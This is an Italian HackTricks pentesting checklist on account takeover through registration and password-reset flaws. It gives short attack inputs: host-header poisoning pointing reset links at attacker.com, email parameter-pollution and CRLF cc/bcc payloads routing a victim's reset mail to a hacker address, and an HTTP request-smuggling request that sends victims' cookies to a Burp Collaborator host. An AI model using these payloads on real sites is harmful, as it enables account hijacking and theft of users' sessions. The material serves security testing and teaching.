Vulnerabilità di Registrazione e Presa di Controllo

Reading time: 6 minutes

tip

Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks

Presa di Controllo della Registrazione

Registrazione Duplicata

  • Prova a generare utilizzando un nome utente esistente
  • Controlla variando l'email:
  • maiuscole
  • +1@
  • aggiungi qualche punto nell'email
  • caratteri speciali nel nome dell'email (%00, %09, %20)
  • Metti caratteri neri dopo l'email: test@test.com a
  • victim@gmail.com@attacker.com
  • victim@attacker.com@gmail.com

Enumerazione degli Username

Controlla se riesci a capire quando un nome utente è già stato registrato all'interno dell'applicazione.

Politica delle Password

Creando un utente controlla la politica delle password (controlla se puoi usare password deboli).
In tal caso potresti provare a bruteforare le credenziali.

SQL Injection

Controlla questa pagina per imparare come tentare di prendere il controllo degli account o estrarre informazioni tramite SQL Injections nei moduli di registrazione.

Presa di Controllo Oauth

{{#ref}} oauth-to-account-takeover.md {{#endref}}

Vulnerabilità SAML

{{#ref}} saml-attacks/ {{#endref}}

Cambia Email

Quando registrato prova a cambiare l'email e controlla se questo cambiamento è correttamente validato o se puoi cambiarlo in email arbitrarie.

Ulteriori Controlli

  • Controlla se puoi usare email usa e getta
  • Password Lunghe (>200) portano a DoS
  • Controlla i limiti di velocità sulla creazione degli account
  • Usa username@burp_collab.net e analizza il callback

Presa di Controllo del Ripristino della Password

Perdita del Token di Ripristino della Password Via Referrer

  1. Richiedi il ripristino della password al tuo indirizzo email
  2. Clicca sul link di ripristino della password
  3. Non cambiare la password
  4. Clicca su qualsiasi sito web di terze parti (es: Facebook, Twitter)
  5. Intercetta la richiesta nel proxy di Burp Suite
  6. Controlla se l'intestazione referer sta perdendo il token di ripristino della password.

Avvelenamento del Ripristino della Password

  1. Intercetta la richiesta di ripristino della password in Burp Suite
  2. Aggiungi o modifica le seguenti intestazioni in Burp Suite: Host: attacker.com, X-Forwarded-Host: attacker.com
  3. Inoltra la richiesta con l'intestazione modificata
    http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
  4. Cerca un URL di ripristino della password basato sull'intestazione host come: https://attacker.com/reset-password.php?token=TOKEN

Ripristino della Password Tramite Parametro Email

powershell
# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

IDOR su Parametri API

  1. L'attaccante deve accedere con il proprio account e andare alla funzione Cambia password.
  2. Avviare Burp Suite e intercettare la richiesta.
  3. Inviarla alla scheda ripetitore e modificare i parametri: User ID/email
    powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})

Token di Reset Password Debole

Il token di reset della password dovrebbe essere generato casualmente e unico ogni volta.
Cerca di determinare se il token scade o se è sempre lo stesso; in alcuni casi, l'algoritmo di generazione è debole e può essere indovinato. Le seguenti variabili potrebbero essere utilizzate dall'algoritmo.

  • Timestamp
  • UserID
  • Email dell'utente
  • Nome e Cognome
  • Data di Nascita
  • Criptografia
  • Solo numeri
  • Sequenza di token piccola (caratteri tra [A-Z,a-z,0-9])
  • Riutilizzo del token
  • Data di scadenza del token

Token di Reset Password in Fuga

  1. Attiva una richiesta di reset della password utilizzando l'API/UI per un'email specifica, ad es: test@mail.com
  2. Ispeziona la risposta del server e controlla per resetToken
  3. Quindi utilizza il token in un URL come https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]

Reset della Password Tramite Collisione di Nome Utente

  1. Registrati nel sistema con un nome utente identico a quello della vittima, ma con spazi bianchi inseriti prima e/o dopo il nome utente. ad es: "admin "
  2. Richiedi un reset della password con il tuo nome utente malevolo.
  3. Usa il token inviato alla tua email e reimposta la password della vittima.
  4. Connettiti all'account della vittima con la nuova password.

La piattaforma CTFd era vulnerabile a questo attacco.
Vedi: CVE-2020-7245

Presa di Controllo dell'Account Tramite Cross Site Scripting

  1. Trova un XSS all'interno dell'applicazione o di un sottodominio se i cookie sono limitati al dominio principale: *.domain.com
  2. Fuga il cookie delle sessioni attuali.
  3. Autenticati come utente utilizzando il cookie.

Presa di Controllo dell'Account Tramite HTTP Request Smuggling

1. Usa smuggler per rilevare il tipo di HTTP Request Smuggling (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. Crea una richiesta che sovrascriverà il POST / HTTP/1.1 con i seguenti dati:
GET http://something.burpcollaborator.net HTTP/1.1 X: con l'obiettivo di reindirizzare le vittime a burpcollab e rubare i loro cookie.
3. La richiesta finale potrebbe apparire come segue

GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

Hackerone riporta l'esploitazione di questo bug
* https://hackerone.com/reports/737140
* https://hackerone.com/reports/771666

Account Takeover via CSRF

  1. Crea un payload per il CSRF, ad esempio: “Modulo HTML con invio automatico per un cambio password”
  2. Invia il payload

Account Takeover via JWT

JSON Web Token potrebbe essere utilizzato per autenticare un utente.

  • Modifica il JWT con un altro User ID / Email
  • Controlla la firma JWT debole

{{#ref}} hacking-jwt-json-web-tokens.md {{#endref}}

Riferimenti

tip

Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks